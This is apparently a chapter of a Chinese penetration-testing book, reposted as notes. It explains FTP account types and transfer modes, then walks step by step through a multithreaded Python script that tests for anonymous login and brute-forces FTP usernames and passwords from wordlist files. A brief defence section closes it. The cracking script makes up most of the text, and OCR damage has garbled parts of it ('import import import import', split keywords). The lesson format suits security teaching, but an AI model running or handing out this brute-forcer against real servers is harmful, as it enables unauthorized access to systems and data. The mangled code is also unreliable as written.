FTP口令问题

 

 

FTP(File Transfer Protocol ,文件传输协议)是一个文件传输协议,用户通  过FTP可从客户机程序向远程主机上传或下载文件,常用于网站代码维护、 日常  源码备份等。如果攻击者通过FTP匿名访问或者通过弱口令破解获取FTP权限,将 可直接上传Web Shell来进一步渗透提权,直至控制整个网站服务器。

 

 

 

 

 

 

7.4.1    编写脚本

 

FTP是基于TCP的,FTP的命令端口为21 ,数据端口为20 。FTP的任务是将一 台计算机的文件传送到另一台计算机上。在使用FTP前需要进行身份验证,验证 通过后才能获得相应的权限。这里我们简单介绍一下FTP的基础知识。

FTP中有三种用户类型:

·Real账户:默认的主目录就是用其账户命名的目录,同时也可以切换到系统 中的其他目录。

·Guest用户:默认的主目录就是用其账户命名的目录,只能访问自己的主目 录,不能查看其他目录。

·Anonymous用户:在FTP服务器中没有指定账户,但是其仍然可以匿名访问 某些公开的资源。

FTP中有两种工作模式:

·Port(主动)模式:FTP客户端从任意一个大于1024(N)的端口主动连接  FTP服务器的21端口(命令端口)来建立连接,用来发送命令,同时监听N+1端  口。当客户端需要接收数据时,则会发送一个PORT命令给FTP服务器,FTP服务 器则会通过20端口(数据端口)来与客户端的N+1端口建立连接并传输数据,如 图7-11所示。

·PASV(被动)模式:客户端同样会开启两个大于1024的端口(N ,N+1), 第一个同样是用来连接FTP服务器的21端口,但是客户端不会提交PORT命令,而 是提交PASV命令,FTP服务器收到PASV命令后会开启一个大于1024的端口

(P),并发送PORT命令给客户端,然后客户端从N+1端口主动连接到FTP服务 器开启的端口P用来传送数据。

FTP口令问题_第1张图片

图7-11    FTP主动工作模式

 

 

 

 

 

该模式主要用于防火墙之后的FTP客户端访问外界FTP服务器的情况,因为如 果是外界的FTP服务器主动对FTP客户端建立连接的话,会被防火墙阻止,所以只 能让防火墙之后的客户端主动去连接服务器,如图7-12所示。

FTP口令问题_第2张图片

图7-12    FTP被动工作模式

Python中默认安装的ftplib模块是专门用于支持FTP操作的,该模块提供了用 来实现FTP登录、上传和下载等功能的函数,我们只需要调用相应的功能函数即 可完成对FTP的操作。这里主要介绍脚本所需要使用的函数:

·ftp.connect( "IP" ,"port" ,"timeout" ):对指定的FTP服务器进行连接。

·ftp.login( "username" ,"password" ):指定连接所需的用户名和密码,如果 为空,则默认进行匿名登录。

·ftp.quit() :与FTP服务器断开连接。

具体步骤如下:

1)写入脚本的信息,导入相关的模块:

#!/usr/bin/python3

# -*- coding: utf-8 -*-

 

 

import import import import

 

ftplib

os

optparse

threading

 

2)编写匿名用户登录检查函数,检查FTP是否允许匿名用户登录:

def CheckAnonymous(FTPserver) :

try:

# 检测是否允许匿名用户登录

 

 

 

 

 

print( '[-] checking user [anonymous] with password [anonymous] ') f = ftplib.FTP(FTPserver)

f.connect(FTPserver, 21, timeout=10)

f.login()

print ("\n[+] Credentials have found successfully .")

print ("\n[+] Username : anonymous")

print ("\n[+] Password : anonymous")

resultFile = open( 'result ', 'a ')

resultFile .write("success !!!username:{},password : {}" .format

("anonymous", "anonymous"))

resultFile .close()

f.quit()

except ftplib.all_errors:

pass

 

3)编写线程类,当线程找到正确的账户或密码时,将其写入文件并退出程 序:

class ThreadWork(threading .Thread) :

def __init__(self,ip,usernameBlocak,passwordBlocak,port) :

threading .Thread.__init__(self)

self.ip = ip

self.port = in t(port)

self.usernameBlocak = usernameBlocak

self.passwordBlocak = passwordBlocak

def start(self) :

# 从账户子块和密码子块中提取数据,分配给线程进行破解

for userItem in self.usernameBlocak :

for pwd Item in self.passwordBlocak :

self.run(userItem,pwd Item)

def run(self, username, password) :

try:

print( '[-]checking user[ ' + username + '],password[ ' + password + '] ') f = ftplib.FTP(self.ip)

f.connect(self.ip, self.port, timeout=15)

# 若账户或密码错误,则会抛出异常

f.login(username, password)

f.quit()

print ("\n[+] Credentials have found successfully .")

print ("\n[+] Username : {}" .format(username))

print ("\n[+] Password : {}" .format(password))

resultFile = open( 'result ', 'a ')

resultFile .write("success !!! username: {}, password : {}" .format

(username, password))

resultFile .close()

# 找到正确的账户和密码就退出程序

os ._exit(0)

# 捕捉账户、密码错误异常

except ftplib.error_perm:

pass

4)编写破解函数,如下所示:

 

def FTPExploit(ip,usernameFile,password File,threadNumber,ftpPort) :

print("============破解信息============")

print("IP:" + ip)

print("UserName:" + usernameFile)

print("PassWord :" + password File)

print("Threads:" + str(threadNumber))

print("Port :" + ftpPort)

print("=================================")

 

 

 

 

# 先检查是否允许匿名用户登录

CheckAnonymous(ip)

# 读取账户文件和密码文件,并存入对应列表

listUsername = [line .strip() for line in open(usernameFile)]

listPassword = [line .strip() for line in open(password File)]

# 将账户列表和密码列表根据线程数量进行分块

blockUsername = partition(listUsername, threadNumber)

blockPassword = partition(listPassword, threadNumber)

threads = []

# 给线程分配工作

for sonUserBlock in blockUsername:

for sonPwdBlock in blockPassword :

work = ThreadWork(ip,sonUserBlock, sonPwdBlock,ftpPort)

# 创建线程

workThread = threading .Thread(target=work.start)

# 在threads中加入线程

threads .append(workThread)

# 运行子线程

for t in threads:

t.start()

# 阻塞主线程,等待所有子线程完成工作

for t in threads:

t.join()

 

5)编写分块函数,根据线程数把字典拆分成相应数量的子列表:

# 列表分块函数

def partition(list, num) :

# step为每个子列表的长度

step = in t(len(list) / num)

# 若子列表不够除为0时,就把step设置为子线程数

if step == 0:

step = num

part List = [list[i :i+step] for i in range(0,len(list),step)]

return part List

6)编写main 函数,主要涉及banner的显示、参数的设置、FTP破解函数的调 用:

if __name__ == '__main__ ' :

print("\n#####################################")

print("#

print("#

print("#

parser = optparse .OptionParser( 'Example: python %prog -i 127 .0 .0 .1

-u ./username -p ./password -t 20 -P 21\n ')

parser .add_option( '-i ', '--ip ', dest= 'target IP ',

default='127.0.0.1 ', type= 'string ',

help= 'FTP Server IP ')      # 添加FTP地址参数-i

parser .add_option( '-t ', '--threads ', dest= 'threadNum ',

default=10, type= 'in t ',

help= 'Number of threads [default = 10] ')  # 添加线程参数-t parser .add_option( '-u ', '--username ', dest= 'userName ',

default= ' ./username ', type= 'string ',

help= 'username file ')      # 添加用户名文件参数-u

parser .add_option( '-p ', '--password ', dest= 'passWord ',

default= ' ./passwords ', type= 'string ',

 

 

 

 

 

help= 'password file ')     # 添加密码文件参数-p(小写)

parser .add_option( '-P ', '--port ', dest= 'port ',

default= '21 ', type= 'string ',

help= 'FTP port ')       # 添加FTP端口参数-P(大写)

(options, args) = parser .parse_args()

try:

FTPExploit(options .target IP,options .userName,options .passWord,

options .threadNum,options .port)

except :

exit(1)

这里打开Slyar FTPserver工具,输入账户名称和账户密码,点击“启动服务”按 钮,即可开启一个FTP服务,软件界面如图7-13所示。

FTP口令问题_第3张图片

图7-13    Slyar FTP界面

接着指定脚本参数,运行脚本如图7-14所示。

 

 

 

 

 

FTP口令问题_第4张图片

图7-14    脚本参数

破解成功后脚本会自动退出,并把结果写到result文件中,破解结果如图7-15 所示。

FTP口令问题_第5张图片

图7-15    破解结果

 

 

 

 

 

 

7.4.2    防御策略

 

FTP服务被攻击的绝大多数原因是FTP账户的口令被破解,少部分是因为FTP 软件自身以及配置的问题。对于FTP破解的防御手段也可以借鉴后台弱口令的防  御策略,此外,这里补充几点:

·应禁止匿名登录。

·及时更新FTP软件,防止旧版本有漏洞。

·避免使用管理员权限来运行FTP服务。

 

你可能感兴趣的:(笔记)